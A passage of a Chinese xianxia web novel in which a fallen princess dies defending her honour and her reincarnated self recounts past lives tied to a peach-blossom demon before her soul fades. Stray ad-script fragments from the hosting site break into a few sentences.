穿过桃花林后,眼前的景象令所有人都松了一口气。 果然如桐婆婆所言,在这桃花林的尽头,便是一条湍急的河流。 看来只要蹚过这条河,他们便暂时安全了。 “公主,事不宜迟,我们赶紧想办法过河。”亲卫们迅速打量着四周可用的材料,已在思忖着该如何带着宫北乐一起渡过这条湍急的河流。 却没有想到,便在他们驻足思索之际,一众人马鬼魅般自河边出现。 亲卫们立即警觉起来,拔剑出鞘相护,将宫北乐挡在身后。 他们不知道眼前这队人马是哪一国人,倘若是邻国戍守边境的士兵,他们倒还有一丝机会,但如果对方是云黎国的人那就大事不妙了。 随着那队人马的距离越来越近,宫北乐认命般叹了口气。 眼前那帮人袖间所织的符号她识得。 她曾经在临越的军帐中见过。 他们是临越的人。 渡河离开国境的这条路,行不通了。 “你们走吧。”宫北乐绝望地闭上眼睛,对守在她身边的亲卫们道:“这一路行来殊为不易,多谢你们排除万难将我送至此处。你们不必再管我了,自行离去,也许还有活的可能。” 眼前这一队人马是临越的亲信,他们几个人决计不是对手。 前路无法继续,后方便是追兵,他们已经无路可去。 不过云黎一直在追杀的只是她一人而已,没了她这个累赘,剩下的亲卫拼尽一身本事也许还有逃出去的可能。 然而,生死关头,并无一人舍下她离去。 他们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 围成一个圈,将宫北乐死死保护在里面,每个人都无言地握紧了手中的剑,眼中升腾起死志。 于是宫北乐和眼前临越的亲信们便都明白了,不到最后一刻,若非身亡命陨,他们绝不会放弃守卫公主。 “那便杀吧。”临越亲信中为首者森然下令,两队人马当即交战,冰冷的刀剑之声在桃花林的尽头响起。 这一场厮杀比所有人预计的都要久。 临越的亲信们没有想到,这一帮人跋山涉水筋疲力尽逃至此处,竟还能负隅顽抗,同他们缠斗如此之久。 但即便如此,大家都心知肚明,他们将这几个亲卫斩杀从而生擒宫北乐,不过是时间问题而已。 一片混乱之中,有人递给宫北乐一柄剑,“公主,我们挡住他们片刻,你赶紧逃。” 宫北乐抬手接过那把剑,将它死死握在手里,与此同时,方才围成一个圈将她牢牢护在最中央的亲卫们散开,朝面前的敌人冲了过去。 他们在用自己的生命为她拖延逃跑的时间,替她换取一线生机。 来不及思考,甚至也来不及悲伤,宫北乐紧握着剑转身离开,飞快地朝方才那片桃花林跑去。 桃林密集,且周边地势复杂,她以为自己隐匿于林中,对方一时半会儿找不见她,那么她就有一丝甩开他们的可能。 却没有想到,她才跑入林中没有多久,身后便有极快的脚步声响起。 临越亲信追上来的速度比她想象中快得多,这也意味着,到此为止她的亲卫们已全数牺牲。 身后的脚步声越来越近,她拼尽全身的力气逃至桃林深处,在方才驻足过的那棵桃花树前停下,持剑转身回望。 逃不掉了。 汗水和泪水一起从脸庞滑下,她踉跄地后退两步,抬手扶住树干才不至跌倒。 喘息着望向眼前的追兵,她抿了抿干涸的嘴唇,沉默地垂下头,似乎在思索着什么。片刻之后她忽而扬唇一笑:“你们是临越的亲信,想必能够感同身受。方才你们所杀的都是我的亲卫,他们同你们一样,从跟在主人身边的那一刻起便立誓此生为了主人而战,亦为了主人而死。他们这一生,死生其实并不握在自己手里。” 临越的亲信们停下步伐,似乎有些不解她为何突然同他们说起这些。 比起这些华而不实的话,此刻她若能放下身段求饶,或许还实际些。 却听她继续道:“所以,我想求你们帮我葬了他们,让他们不至于暴尸荒野,这是我最后的请求。” 临越亲信中那位为首者将眉一蹙,听她言语间已有死志,当即道:“我等奉太子殿下之命而来,他要我们转告于你,两年之前与你的那番谈话仍然有效。你若选择抛弃古水国长公主的身份,便可以入太子殿下幕中,成为他的座上之宾。” 语罢,他想了想,还特意补充一番:“经过上一次在军中与你亲谈,加之这两年来目睹古水国中变法,太子殿下已是真心赏识于你。他还特意嘱咐,从前欲令你和亲云黎为妾,是他见事不全,如今他已改了主意,欲聘你为太子府中幕僚,与他共商政事。” 59. 桃花盏 不可否认,他这一番话足以令任何人心动,便是再顽固的人也该知道他所给出的这个选择是一条光明的路,继续无谓的坚持则只有死路一条。 尤其对于宫北乐而言,这些承诺无疑是极大的诱惑,他所说的一切分明就是她一直以来梦寐以求的。 在自己的国家费尽心机才能得到的,临越可以不费吹灰之力送给她。 她那尚未来得及实施的第三道法令,梦想中经过改革之后变得国富民强的国家,这一切都有机会在临越给予她的承诺中实现。 这一瞬间她甚至有些恼恨,恼恨自己为何生在古水国。 倘若她生在云黎,倘若她是男儿身,倘若她不与临越为敌,那么她所有的抱负都有施展的机会,她再也不必像今日这般被人追杀至穷途末路,狼狈得如同丧家之犬。 可是这世上没有如果,她今生已注定是古水国人,是被禁止踏入朝堂的女儿之身。 若单如此倒也罢了,国家的存亡或许与她并没有直接的关系。 可她还是古水国的长公主,自出生那一刻起便接受万民供养,她的一饮一食皆是从古水国土中来,她所着衣衫的一针一线皆出自古水国民之手,她的命运注定无法与这个已经灭亡的国家割离开来。 让她抛弃古水国长公主的身份,这绝不可能。 哪怕生的希望就在眼前,哪怕连她的父皇都做了他人的俘虏,携一众皇室成员于城门下投降。 这世上已没有古水国,无论她为了这个国家的延续做了多少努力,也无论她为了这个国家的子民曾如何挣扎,她为之付出一切的国家已然灭亡,而她作为古水国的长公主,无法守卫自己的子民,也无法捍卫皇室的尊严,不死何为? 一阵风吹过,微微掀动她浸了鲜血的衣衫。身旁的桃花树似乎有所感应,花枝轻轻地颤动,抖落一地花瓣。 桃花簌簌而落,落在她的肩头,枕在她反手举起的长剑上。 “今日我以死殉国,死后再向守卫国土而亡的将士们请罪!” 长剑寒光凛冽,她将剑刃对准自己的咽喉,桃花瓣鲜艳无暇,却远没有她脖间涌出的鲜血殷红。 她自绝于桃花林中,没有丝毫的犹豫,死前也不曾皱一下眉头。 沾了血的长剑从她手中坠落,和她的身躯一起无力地倒在地上,溅起一地的花瓣。 林间的风骤然停息,满树的花瓣停止了舞动。桃花林中,天地寂寂,临越的亲卫们静默无言。 这样静默了良久,那为首者对着已无气息的宫北乐微微鞠了一躬,摘下覆在脸上的黑色面具。 正是那日与临越一同在军帐中下棋之人。 他最后望了一眼宫北乐,转身离去前对手下吩咐道:“将她自刎的长剑葬在这棵桃花树下,然后带她回到古水国都,让她魂归故里吧。” 三百余年前古水国庆安公主的故事就此轰轰烈烈落下帷幕,时光长河之外,旁观着这一幕的人皆叹了口气,垂首默了许久。 青鸾心中所想,是曾经在婴垣记忆中听说的传奇故事终于在今日得见真相,不料这真相如此震撼人心,令她沉浸其中一时无法自拔。 忘忧的心情便复杂得多了。 她先是心疼师父前世的际遇,只觉得自家师父实在命苦,连着两世都被人追杀,且每一世都被逼至绝境走投无路。 看见宫北乐在桃花林中的遭遇,她不自觉想起瑾瑜最后与大言合虚神决战,于小华山中自毁的一幕。 那时瑾瑜也是在这样一片繁茂的桃花林中,为了守护山中生灵决绝地放弃了自己的生命。 不同于死后尚能回归故里的宫北乐,今生的瑾瑜是以星辰之力自毁,灵魂湮灭,尸骨无存。 一想到这个,她便控制不住地愤懑于婴垣的出卖,心里不可遏制升起一团怒火。 可偏偏今日她于逆流的时光中得见,婴垣前世竟然是宫北乐捡回宫中的女孩,并且这个名叫樱儿的女孩最后还为了救宫北乐自愿赴死。 这便让她的愤怒都无法如当初那般纯粹。 这世间的恩怨纠葛,真是教人难以分说。 “樱儿前世为了救宫北乐而死,今生便算是我报答了她的前世之恩。忘忧,如果这样想能让你心里好受一些,那么你可以这样理解。”瑾瑜的声音在她耳畔响起,如一阵和煦的风吹进她的心里:“或者,你也可以换一个角度去想,于我而言,婴垣的出现或许是为了验证我心中的大道。我并不是因为她而死,能让我从容赴死的,是我心中的道。” 心里的怒火逐渐止息,忘忧顿觉醍醐灌顶,这么多年来郁结于心的各种纷扰情绪一扫而空,她此刻只觉得心中清明。 “师父。”她依恋地唤了瑾瑜一声:“您所说的道,指的是什么?” “继续看吧,你自会知晓。”瑾瑜抬手一挥,再次让眼前的时空长河逆流,带领着他们继续往前,回到距离古水国这段历史更早之前。 一段又一段的时光再次飞快地从众人眼前掠过,青鸾在此时回过神来,向瑾瑜问了一个她一直想问的问题:“我记得你对祁颜说过,你曾经在一位前辈赠与你的秘境中一窥你与祁颜的前世。那么想必你也早已知晓自己上一世便是古水国公主宫北乐,既然如此,为何你却从没有去寻过绿蚁呢?” 她始终记得在婴垣记忆中见到的那一抹绿色身影,那道身影独自坐在桃花树下饮酒,那样孤独,那样寂寥。 传闻绿蚁为了宫北乐怒斩一国国运,却也因此背负逆天咒术的反噬。 既然宫北乐已然转世,且不再如前世那般是个手无缚鸡之力的凡人,为何瑾瑜却从没有去看过绿蚁,助她解开心结呢? 身侧的人沉默了片刻,似是在心中回忆这一段早已被她放下的过往。过了好一会儿,才听见瑾瑜缓缓道:“后来我在秘境中得知,绿蚁的西方昆仑之行很有收获。她见到了传说中的帝师路之遥,而他确然给了她一个解除血脉之力封印的法子。她知晓方法后并没有立即尝试解除,而是马不停蹄往回赶,想来是牵挂着宫中之人,一刻也不愿耽误吧 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。” “她提前了半月有余回到古水国境,却在那时得知古水国早已灭亡,而她牵挂着想要见的那个人也已身殒。后来她翻遍了整片桃花林,都没有寻见她的尸骨,于是她便径直往云黎国都而去。” “确如传闻中所言,她对云黎国施了那逆天咒术,诅咒他们子嗣不兴宗庙不盛,直至国家灭亡。施展这样的咒术,其后果便是逐渐抹去她对心中挚爱的记忆,并且逐渐燃尽一身修为,最终泯然众人,与凡人无异。” 说到这里,她似有所感地望向仍在逆流的时光长河,旧时光里埋葬了无数故人,连同她一起,都在这漫长岁月中沉沉浮浮。她的声音也染了些沧海桑田风霜变迁的味道。 “可是绿蚁有着异于常人的坚韧心性,她固执地守在宫北乐最后落脚的古水镇中,栽种了一片桃花树,每年都会在树下启一坛酒,一如从前与宫北乐在公主殿的屋檐上痛饮那般。” “她固执地守着与宫北乐的记忆,同样固执地封存着不断燃烧的修为,守卫着这个曾经收留了宫北乐的小镇。我曾探查过绿蚁的修为,发现她体内燃烧修为的速度正在放缓,而她忘却宫北乐的速度似乎正在加快。” “此时她虽然仍旧守在古水镇中,但恐怕她早已不记得自己为何要坚守此地。她每年都会在桃花林中饮酒,兴许那时她的脑海中会浮现起一个熟悉的身影,可她应当也已经不再记得那个身影的名字。” “我相信终有一日她会彻底忘记宫北乐,到那时她便可以守住现有的修为,继续心无挂碍地修炼下去。她的天赋绝不仅仅止步于此,昔日的挚友于她而言恐怕反而成为阻碍修炼的心魔。” 瑾瑜拂袖指尖轻点,停住了正在飞速逆流的时光。 他们已然到了,回到了距今五百余年前的太华山。 注视着太华山中的那片桃花林,瑾瑜目光微动:“对于我而言,宫北乐亦早已是前世之人,她走完了她要走的路,无怨怼,不后悔。人生一世,只要遵从本心,无憾就好。你们眼前所见的景象是距今五百多年前的太华山,我在那时于心中生出一个遗憾,便也就种下了一个执念,于是才有了之后几百年的种种纠葛。” 忘忧与青鸾顺着瑾瑜的目光望去,却是都被眼前的景象吓了一跳。 五百年前,太华山中,诸神正在大战。 青鸾看见了立于战场最中央的大言合虚神,还看见了与他相对而立的武罗神君帝骁。 这两人的四周是许多青鸾并不识得的神君,他们将大言合虚神包围起来,现出法相怒目而视。 而大言合虚神将一女子牢牢护在身侧,他一手握住那女子的手,另一手持剑指向帝骁。 很显然两人正在对峙,紧绷在整个战场上的弦一触即发。 青鸾没有想到,帝骁曾经还同大言合虚神对战过。 更令她没有想到的是,被大言合虚神护在一旁的女子她竟也十分眼熟。 正是那个预言梦中被帝骁装在水晶棺中的女子。 他唤她阿媱。 60. 桃花盏 诸神之战具有极大的毁灭力。 帝骁与大言合虚神对战之时,风卷云涌,天地为之色变。 青鸾虽然曾经见过帝骁出手,但如今看来帝骁似乎从未在她面前使出过全力。 画面之中,帝骁的全力一击,竟然将天空生生撕裂了一道口子。 他的一剑之威足以砍断整座山脉,太华山被他一分为二,一半矗立在原地,露出被剑斩过之后光滑平整的截面,另一半则倾颓而下,被他的剑势劈为了齑粉。 帝骁这一击固然可怖,但大言合虚神的实力亦是深不可测。他一面拂袖抵挡其他神君的攻击,一面抬首望向那一柄向他斩来的长剑。 他的眸中忽而闪过一抹流光,那光芒好似蕴含着极为强大的法则之力,霎时间便挡住了帝骁这一剑携巨大威力而来的攻势。 两道力量互相碰撞,余威横扫了整片战场,将太华山上的花草树木尽数摧折。 这便是神与神之间的对战,他们掌握着毁天灭地之力,交战之时所卷起的风云便足以席卷战场周围所有的生灵。 只不过,城门失火殃及池鱼,这片不幸被选作战场的区域里还生活着许多的生灵,他们大多修为低下无法自保,即便有一二修为高深者,也难以抵挡武罗神君和大言合虚神这两位世间巅峰战力的轮番轰炸。 他们是高高在上的神灵,因为站得太高,似乎并看不见那些被无辜波及的蝼蚁。 对战还在继续,两人交手之时所产生的余威只增不减,再这样下去,这一整片战场恐怕都会沦为炼狱。 太华山中,桃花林内,无数小妖正眼睁睁看着一道刺眼光芒以极快的速度向他们袭来。 他们明知此光中蕴含着神君对战之力,若是被这道光芒击中,他们必然会被打得魂飞魄散,可是四处都是这样的攻势余威,他们根本无处可避,不管往哪里躲闪都是死路一条。 瑾瑜便是这群小妖中的一员,彼时她瑟缩在照顾她化形长大的老桃妖身旁,惶惑不解地注视着眼前这场混战。 她不明白,天上的神君不都是强大而又温和,承担着保护四海八荒的责任么? 为何会像眼前这般,只顾着报私仇相互对战,却全然不管他们的死活? 来不及思索更多,那道足以灭杀他们所有人的光芒已逼至她的眼前。 她害怕地闭上眼睛,将脑袋埋在老桃妖的怀里,哆哆嗦嗦了半晌,预想中的攻击却并没有来临。 奇怪地睁开眼去看,她看见一道身影突然出现,挡在了他们面前。 那人着一身浅粉色衣衫,立于乱舞的狂风中,施法卸去方才那道光芒携来的威力,整个人看起来飘逸却也单薄。 便是这样一个瘦削的人,却似乎拥有着强大的力量,他将他们所有人都笼罩在了一个守护禁制里,自己则于禁制外替他们挡去余下的攻击。 “老伯,他是谁?”小瑾瑜目不转睛地注视着他,此刻在她眼里,这个并不算强壮的背影却是无比伟岸高大。 “他叫祁颜,是我们太华山桃花林中一位法力高深的大妖,他常年在外云游,你才化形不久,自然没有听说过他。”老桃妖眯了眯眼睛,长长地舒了一口气:“没有想到他竟赶了回来,唉,回来就好,有他守护我们,想必我们大家都能度过此劫了。” “这么厉害……”她仰起头,瞬间觉得祁颜的背影又伟岸了几分:“可是老伯,您不是说我们桃花妖一族生来便法力低微,且修为上限不高,极难修炼么?他怎么还能修炼成法力高深的大妖呢?” 老桃妖望向祁颜的目光中也带着欣赏之意,他感慨地道:“这便是祁颜的与众不同之处了,他虽与我们出身同族,却是天赋极佳,于修炼一道拥有极高的悟性。其实他为人潇洒散漫,并未刻意苦修过,却还是能达到如此成就,不得不说是天之骄子呀。” 此刻瑾瑜的眼睛里再也没有方才的惊慌害怕,取而代之的是对祁颜的崇敬仰慕。 “老伯,若是有朝一日我也能像他这般厉害,有足够的力量守护大家就好了。”她在心里许下这个愿望,然后迫不及待地告诉老桃妖。 老桃妖欣慰地呵呵一笑:“你这小丫头能有如此志向,甚好,甚好。不若这样,待此次劫难过去后,老夫领着你去找祁颜,厚着脸皮问问他能否收你为徒。丫头,你心思纯净,心志也坚,若是能跟着祁颜一起修炼,说不定日后真能有此成就。” 两人还在展望着此次劫难过去之后要如何寻祁颜拜师学艺,却没发现眼前的战局已然发生了变化。 大言合虚神在帝骁及一众神君的围攻下终于坚持不住,身负重伤自空中跌落,正好朝着桃林的方向而来。 那名唤阿媱的女子神色紧张地朝他飞去,自袖间挥出两条绫带想要接住他。 与此同时帝骁蓄力发出最后一击,这一击蕴含了强大的灵魂之力,发出时便连天地也为之震颤。 这是一道避无可避的杀招,绝无任何转圜的余地,看得出来帝骁的确是奔着取大言合虚神性命去的。 如此强大的威压,如此近的距离,帝骁这一击的威力尚且凝而未发,祁颜在桃花林中布下的禁制便已被摧毁。 桃花林中的小妖们暴露在攻势之下,有些修为太低的当即便被那道余威轰成了齑粉。 眼看着这一击如此强横,且他们被大言合虚神连累,帝骁这一剑是目标明确地朝着他们这片区域攻来,老桃妖将瑾瑜护在怀里,认命地道:“武罗神君这一击,即便是大言合虚神都恐怕抵挡不住,更别说我们了。可怜你刚刚化形,还没来得及感受这凡俗之乐,便要殒命于此。” 他说这话,便是认定他们所有人都难逃此劫,祁颜再如何强大,也比不过身为后神的大言合虚神。这是帝骁用来对付后神的全力一击,就连后神都在劫难逃,何况是他们呢。 却见祁颜仍旧立于桃林之上, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 没有半分退缩之意。 在那一击即将降临之时,他将气息一凝,自眉心发出一道白色强光,光芒瞬间笼罩在他全身,然后迅速朝桃林蔓延,很快将桃林中的生灵都覆盖在了这道光芒里。 这一道光芒实在是太过强烈,被笼罩在光芒之中的人都紧紧闭上了眼睛,即便如此他们还是被这道比传说中十个太阳的强光更加令人眩目的光芒刺激得流下了眼泪。 过了许久许久,这道光芒才缓缓消逝。 耳畔除了细微的风声,再无其它声响。 看来这场诸神之战已然结束,神灵已经离去,而他们这些小妖在这场战争中活了下来。 “老伯,是那道光芒保护了我们吗?这是祁颜的什么秘术吗?”顾不上为劫后余生感到欣喜,瑾瑜第一时间抬头去寻祁颜,却发现空中已没有了那道浅粉色的瘦削身影。 老桃妖也抬起头,呆呆地望着方才祁颜所在的方向,眼中尽是不可思议:“他竟然燃烧了自己的识海,自爆了他的妖丹,以此获得片刻足以与帝骁相抗衡的力量,用来保护我们……” 瑾瑜虽则刚刚化形还不懂修行之事,却也知晓妖丹对于他们的重要性。 没有妖丹,他们很快便会死去。 “那祁颜他……”她转头望着老桃妖,目光中满是难过,除此之外还有一丝丝对祁颜也许可能生还的期待:“他不是法力高深的大妖么?就算自爆了妖丹,是不是也会有修复之力?” 却见老桃妖沉重地摇了摇头:“即便是法力高深的大妖,也不能在自爆妖丹之后再自行恢复。祁颜他这是牺牲了自己,来拯救我们啊。” 瑾瑜万没有想到,方才她还满心期许地想要拜祁颜为师,此刻却只能无力地接受他为了保护他们而死的事实。 “老伯,就没有一点办法了吗?”她不甘心地摇晃着老桃妖的胳膊:“有没有什么办法可以救他?” “孩子,老伯知道你是个知恩图报的好孩子,可是他识海已燃妖丹已毁,是无论如何也无法死而复生了。”说着,他突然顿了一下,在脑海中回忆着什么,片刻之后对瑾瑜道:“不过,你若有心想要报答他的救命之恩,可以在他转世之后前去为他护法,取他此世出生之地的那一口灵泉水,日日为他浇灌,兴许能够护持他的灵魂,让他转世之后延续今生的部分修为,不必再从头修炼。” 瑾瑜忙问:“可是他转世之后还会和我们一样是桃花妖吗?而且,我如何得知他的转世之地呢?” “这便要看你们的机缘了。我们与他身为同族,他若转世之后还为桃花妖,那么我们着意找寻,便能有所感应。”老桃妖缓缓道:“况且,我曾从一位人族修士那里学过占卜问卦之术,待他转世之后起卦一寻便是。” 最后他嘱咐道:“孩子,若他转世之后仍为桃花妖,这便是你与他的缘分,你自可前去报恩。但若不是,这便也是命中注定,你切不可心生执念。” 61. 桃花盏 “那一世的我很是庆幸,觉得自己与祁颜还是有那么点浅薄的缘分。祁颜在几十年后转世,其本体仍为一树桃花。那时的我在老伯的帮助下寻到了祁颜转世所在之地,此后两百余年,我便一直往返两地,从太华山取他前世出生之地的灵泉水,来浇灌转世之后的他。”时空长河外,瑾瑜再次拂袖一挥,让时间流逝到几十年后。 画面定格在一树桃花林中,花瓣轻盈地从枝头跌落,纷纷扬扬漫天飞舞,一个粉衫女子正在这落英缤纷里耐心地浇灌着一棵桃花树。 同样的动作她似乎已经重复过无数遍,在熟练地浇完灵泉水后,她轻轻地抚了抚这棵桃花树,倚着树干缓缓坐下,抬首闲看落花。 这一坐便是半日的工夫,她有些困乏地闭上眼睛,就这么倚着树干睡去,桃花瓣轻柔地飘落在她身上,让她枕着一树清香入睡。 青鸾瞧着眼前的画面,觉得这片桃花林有点眼熟,仔细想了一想,她恍然明白过来,明白过来之后顿时觉得命运二字真是玄之又玄。 这不正是宫北乐躲避追兵时路过的那片桃花林么? 那时身为亡国公主的她曾在这棵自己前世悉心照拂过的桃花树下驻足,如两百年前那般抬手轻抚树干,一刹那间似有所感,前世的执念跨越历史长河再度涌上她的心头。 当年老桃妖嘱咐瑾瑜切勿生出执念,可她照顾了转世的祁颜两百余年,起先或许只是为了报恩,可在漫长的光阴中,尤其在意识到自己天资不足,此生都无法突破瓶颈达到祁颜曾经的高度后,她还是难免心生执念。 “那一世的我刚刚化形,便经历了那样一场劫难,更重要的是,我在那场劫难中见到了祁颜。”瑾瑜有些自嘲地笑了一笑:“于我而言,在年幼时遇见太过惊艳的人,其实是一种遗憾。从此我再也无意去往世间游走历练,只希望在自己寿终之时能够再见祁颜一面。于是我在那两百年间日复一日地为他浇灌太华山上的灵泉水,护持着他延续上一世的修为,盼他能够早日化形,更希望他化形之后看到的第一个人是我。” 听到这里青鸾不免有些感慨:“可是即便等到几百年后,你早已转世为人,成为了古水国的公主,你们在第二世重逢时,他也仍未化形。” 瑾瑜点了点头:“我在那片桃花林中守了两百余年,很多时候我在树下小憩,都能感觉到祁颜似乎正在注视着我。” “他前世修为高深,这一世又由灵泉水浇灌,加上被我常年以法术护持,的确是有可能未化形而有神魂,具有一定感知能力的。不过化形之前的那些感知太过微妙,等到他化形之后,对我的模糊记忆就会全部消失。”瑾瑜注视着画面中仍在树下小憩的粉衫女子,那是前世的她,分明弱小,却又有着难解的强大执念,“这便是为何祁颜会在见到我时觉得莫名眼熟的原因了,两百余年的照拂与守望,其实在他的神魂中留下了极为深刻的印象。” 忘忧叹了口气:“师父,没有想到你和祁颜还有这样一场前世今生的缘分。只不过……” 剩下的话她没有说,但大家都明白她心中所想。 若说二人无缘,偏偏他们三世都能相遇,可若说他们有缘,这缘分也实在太过浅薄。 第一世刚相遇时,祁颜就因救护族人而自爆妖丹身殒,第二世他尚未化形,瑾瑜便已早逝,第三世他们终于有了相知相守的机会,却无奈碰上了大言合虚神,这回轮到瑾瑜为了守护山中生灵而死。 的确是令人唏嘘不已。 “师父,那么你方才所说的执念便是祁颜么?”婴垣问她。 瑾瑜摇了摇头:“执念是因祁颜而生,却并非单单为了他。” 她让时间加速到两百年后,那一世的自己身殒之时。 作为一只道行浅薄的桃花妖,她的寿命并不太长,在守了祁颜两百年后,她感觉到自己的生命正在流逝,一如指尖握不住的流沙,那是天地法则世间规律。 她很清楚自己寿命将尽,只是遗憾自己天资不足,修炼尚浅,这一生便如此碌碌无为地过去了。 她犹记得两百多年前自己对老伯许下的愿望,希望自己有朝一日也能修炼得如祁颜那般强大,强大到足以保护族人。 可惜直到生命的尽头,这个愿望也没有实现。 意识到此生再也没有机会兑现幼时的诺言后,她自然不可遏制地生出了执念。 “此生天资有限,我无法修炼得如你一般强大,待到来世,我一定要实现此生许下的那个诺言。”寿终陨落之前,她立于桃花树下,一如往常那般轻抚树干,“今生我已没有时间等到你化形的那一日,希望来世我们可以再见。” 桃花树似有回应,轻轻颤动着树枝,花瓣纷纷而下,洒落她的肩头。 她闭上眼睛,身形逐渐消散,最后化为一缕半透明的轻烟,彻底消失在了天地之间。 比起之后的两世,她这一世实在太过平淡。 “那时我如何能够想到,来世的自己成为了一介没有仙骨无法修行的凡人,比之桃花妖更为弱小。”瑾瑜单手拈决,光芒自她指尖闪烁,这一片时空长河被她打乱,她每一世的剪影交替错乱着在几人眼前浮现。 “可是自那一世之后,我却体悟到了作为桃花妖的那一世不曾体悟过的感受。现在我已明白,能否守护他人,其实并不在于力量强大与否,而是在于自己的心是否强大。”瑾瑜转首注视着忘忧,轻轻指了指她的心口:“忘忧,你与五百年前的我一样身为桃花妖,却不似我那般天资平庸,你甚至有着比当年祁颜更为卓越的天赋。因此我悉心教导你,希望你能在修行这条路上走得更远,不至浪费自己的天赋。” 说到这里,她将话锋一转:“我希望你勤勉修行,却并不是要将自己当年的心愿加诸于你的身上。忘忧,我希望你能心无挂碍地修行,希望你在这条路上能够有属于你自己的收获和体悟。比起力量的强大,我更希望你将能自己的心修炼得宽广且强大,比起让你将守护的职责担在肩上,我更希望你能逍遥自在。” 逍遥自在。 不要被仇恨蒙蔽了双眼,不要被满腔的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 愤懑所束缚。 这世间因果报应、业力循环,非眼前这一世能够看得清楚。 任何时候,任何事情,只要不愧于心就好。 忘忧死死咬住嘴唇,想要忍住不哭出声来。 自从师父陨落之后,她便废寝忘食地修炼,希望自己有朝一日能够活成师父的模样。 却没有想到,一如五百年前的瑾瑜那般,她就此豢养了一个心魔。 如今瑾瑜用残留于世的最后一丝神魂,带着她跨越历史长河,只为了助她从中参悟,破除心魔,就此毫无挂碍地修行。 她以为自己已经足够坚强,却还是在师父如同教养小儿一般悉心教导她时,捂住脸流下眼泪。 过去的剪影突然停滞,不再如方才那般交替出现,片刻之后它们依次破碎,散为了点点星光,逐渐流淌成一条璀璨银河。 瑾瑜的神魂终于支撑不住,也开始逐渐消散,慢慢融入那一片星河。 “师父,你来接我了么……” 呢喃着闭上双眼,过去的记忆在瑾瑜识海中浮现。 她在消失之前所忆起的最后几个画面,是在数山上与师父景星神君共处的那段时光。 那可真是她此生最为安心也最为快活的一段时光呵。 在遇见师父之前,她的人生里只有逃亡二字。 年幼的她带着婴垣躲过了一次又一次的追杀,而追杀她们的敌人一次一比一次强大。 就在她接连遭受重创躲进一个破庙中时,从来倔强不肯向命运低头的她第一次对着庙中残破的神像祈祷。 作为一枚子玉,她乃无父无母汲取天地精华而生,在这天地之间,她仅有的亲人便是怀中虚弱的妹妹。 因此她别无所求,只求老天给她们姐妹二人一条活路就好。 或者,给她的妹妹一条生路就好。 后来她无数次想,莫非是满天神佛听见了她的祈祷,就在她几乎走投无路之时,慕北辰踏着朝阳的光辉走来,打开了那道残败的庙门,弯腰向她伸出了手。 从此他教她识字,授她法术,更让她明理,保护她不再受外敌侵扰,抚平了她的每一道伤口。 他甚至还会像哄小孩似的给她买来人间的许多稀奇玩意儿,又似乎是觉得她以前的日子过得太苦,于是外出游历时总会记得给她捎回来各种各样的糖。 那些年她日日都有糖吃,什么花生酥糖、柿子糖、银丝糖…… 从前再苦的日子,也被他浸泡得甜了。 他向她伸出的那一只手拉她远离了深渊,带着她回到人间,让她知晓这世上原来不只有着无穷无尽的贪婪与杀戮,还有山川与河流,有鸟语与花香,有最纯粹的关心与爱护。 夏夜里满天的星辰。 数山上满园的星草。 与师父共处的一段好时光。 带着这样温馨的眷恋,她安心迎接着自己灵魂的消散。 而在星河的尽头,恍惚有一道身影,弥漫着浅浅的星光,向她四散的魂魄伸出了手。 62. 第三卷·浅歌行 身旁已没有师父的气息,忘忧安静地立在这片引渡亡魂的星河里,内心纵然不舍,却也早已释然,不再如最初那般恨婴垣入骨,甚至因着这一股仇恨生出执念。 师父用最后一缕神魂,替她抹去了心中那一道魔障。 青鸾自始至终都是故事的旁观者,她感慨着瑾瑜的际遇,唏嘘着别人的故事。 但这一切其实都与她无关。 她来到这里,本就只是受人之托终人之事,为了完成婴垣最后的心愿,将祁颜带回小华山而已。 因此她一直以一个旁观者的姿态看着眼前的一切,虽然这一段穿越千年的故事让她也跟着有了些许感悟,但她的心情一直都是平静的。 可是,在瞧见那一抹接引瑾瑜残魂的星光时,在感受到周遭的能量波动后,青鸾的心脏忽然停滞了片刻,然后以极快的速度猛烈跳动起来。 她无法继续保持平静,各种各样纷繁复杂的情绪突然涌上她的心头,那些情绪似乎不属于她,但她又仿佛在亿万年的光阴中反复咀嚼过这些莫名的情绪。 此刻她只觉得心脏无比酸胀疼痛,好像下一秒就要支撑不住停止跳动。 “你怎么了?”忘忧察觉到青鸾的异常,转头望向她。 但青鸾没有时间去思考,也没有时间回答,脑海里有一个声音在催促着她,催促着她疾步上前,在那抹星光彻底消散之前奔了过去,闯进了残余的星海里。 忘忧惊呼一声想要跟上,却发现自己根本进不去那片星海,还未靠近便被一股强大的力量挡了回来。 小蓝原本趴在青鸾肩头,但也在她进入星海时被甩了下来。 那一片神秘的星海好像自带强大的禁制,只允许青鸾一人进入,任凭小蓝与忘忧如何破除也纹丝不动,始终将他们牢牢挡在外面。 星海之内自有一片玄妙乾坤,无数星系于青鸾身侧浮动,她仿佛已经脱离了原本所在的空间,置身宇宙当中。 心脏仍在剧烈地跳动着,青鸾死死按住心口,怀疑它再这样跳下去就要跃出胸膛了。 一个男子的身影自星海中浮现,一头银发,一身白衣,正是瑾瑜的师父景星神君。 青鸾蹙眉注视着他,刚想问他为何她会受到一股莫名的感应跑到这里来,却听见他先一步发问:“你是如何进到我的星域中的?” 不待青鸾回答,他拂袖朝着青鸾一挥,在见到她心口发出的亮光后恍然大悟:“原来如此,曾有族人在你身上留下了星痕印记,所以你才能进到这里来。” “什么是星痕印记?”青鸾脸色已有些泛白,大颗大颗的汗珠从她额头流下:“星域又是什么?我……我好像并不认识你的什么族人……” 慕北辰见她如此痛苦,蹙眉有些疑惑。 比起宇宙中其他族群所使的种种烙印,他们星域一族的星痕印记最为温和,应当不会使她如此痛苦。 可她为何会这般难受? 思索了一阵,他不可置信地将手指点在她的额间。 便在他的魂体触碰到青鸾额头的一瞬间,一股温和的力量涌遍了青鸾全身,她的心脏不再如方才那般猛烈跳动,她也不再如最初那般痛苦,终于得以缓一口气。 “果然,有人为了你将自己的灵魂炼制成了轮回之戒。”观察着青鸾左手指间浮现出的一道星光轮廓,慕北辰证实了自己的猜想。 